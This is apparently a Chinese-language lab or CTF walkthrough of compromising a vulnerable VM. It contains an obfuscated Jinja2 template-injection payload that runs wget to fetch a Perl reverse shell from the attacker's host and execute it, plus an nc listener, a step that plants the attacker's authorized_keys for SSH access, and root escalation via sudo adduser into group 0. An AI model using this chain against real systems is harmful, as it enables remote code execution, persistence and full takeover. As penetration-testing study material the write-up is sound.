信息收集
发现除了80 还存在5000 和 31337端口
然后发现了一个默认用户,guest/guest
随后看到 nmap 再对 31337 登录, 有返回账号和密码
尝试连接
nc 10.0.2.7 31337
进来了,然后没头绪了。
搜了web指纹,werkzeug httpd,是一个接口库,里面有Jinja2,还有flask框架。然后就想到了 ssti 模版注入,可以rce的。研究半天,发现31337 和 5000 是对应关系
改写shell,这种是bypass后的结果
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('wget http://10.0.2.15/shell.pl;perl shell.pl')|attr('read')()}}
在kali中 /usr/share/webshells/ 有自带的webshell脚本,通过perl进行反弹shell,需要更改文件所监听的ip 和 端口。
开启web服务
python -m http.server 80
kali监听
nc -lvnp 7777
31337执行
open // 打开一个票据
title:名称
Description: {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('wget http://10.0.2.15/shell.pl;perl shell.pl')|attr('read')()}}
web访问5000页面,点击 link 激活
然后成功接收到了shell
获取命令提示符
python -c "import pty;pty.spawn('/bin/bash')"
提升权限
找了opt下有两个pyc文件
(百度搜了教程,实在没思路了)
说的是 反编译代码 会在tmp创建一个文件,然后等 执行后 就可以免密登录,后来发现 靶场环境有问题,ps 和 pspy64 未发现saint用户的任何进程,所以它不会执行。
{
"URL":"http://10.0.2.15/authorized_keys",
"Output":"/home/saint/.ssh/authorized_keys"
}
这里假设我们免密登录了
ssh [email protected]10.0.2.7
// sudo -l 发现saint 加入了组,并且可以执行adduser命令,添加一个用户到root组里,就可以拥有root权限了。然后就可以查看root目录了。
sudo -l
adduser aaa -gid=0
su aaa
id